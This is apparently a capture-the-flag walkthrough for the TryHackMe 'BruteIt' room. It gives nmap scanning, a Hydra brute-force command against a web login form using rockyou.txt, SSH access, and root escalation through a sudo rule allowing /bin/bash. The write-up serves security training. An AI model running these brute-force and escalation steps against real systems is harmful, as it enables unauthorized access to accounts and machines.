🧠 TryHackMe - BruteIt Walkthrough

@Chris Noble

> Room Link: https://tryhackme.com/room/bruteit
>
> Difficulty: Easy
>
> Skills: Brute Forcing, SSH, Linux Enumeration

🖥️ Task 1 – Deploy the machine

- Click the **"Start Machine"** button.
- Wait a few minutes for the IP to appear.

🔍 Task 2 – Find open ports (Nmap)

```
nmap -sV -sC -Pn [MACHINE_IP]
```

Result:

```
22/tcp  open  ssh     OpenSSH 7.2p2
80/tcp  open  http    Apache httpd 2.4.18
```

So we have **SSH** and **HTTP** open.

🌐 Task 3 – Visit the website (Port 80)

- Go to `http://[MACHINE_IP]`
- It shows a **login page**.
- Let's try brute-forcing it.

🧰 Task 4 – Use Hydra to Brute Force Login

Step 1: Use the provided wordlists

Try these default wordlists:

- `/usr/share/wordlists/rockyou.txt`
- Or use THM's custom ones from the room folder

Step 2: Run Hydra

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt [MACHINE_IP] http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"
```

Result:

```
[80][http-post-form] host: [IP]   login: admin   password: [FOUND_PASSWORD]
```

🚪 Task 5 – Log in with found credentials

- Go back to the login page
- Enter:
  - **Username**: `admin`
  - **Password**: `[FOUND_PASSWORD]`
- You get a message with **SSH credentials**:
  - Username: `brute`
  - Password: `[SSH_PASSWORD]`

🔐 Task 6 – SSH into the machine

```
ssh brute@[MACHINE_IP]
```

Enter the password from the web page.

You're now inside the machine.

🪜 Task 7 – Privilege Escalation

Run the following:

```
sudo -l
```

Output:

```
User brute may run the following commands on [hostname]:
    (root) /bin/bash
```

So the user can run bash as root!

🚀 Task 8 – Get Root Access

```
sudo /bin/bash
```

Now you are root!

🎯 Task 9 – Find the flag

```
cd /root
cat proof.txt
```

You'll see the final **flag** 🎉
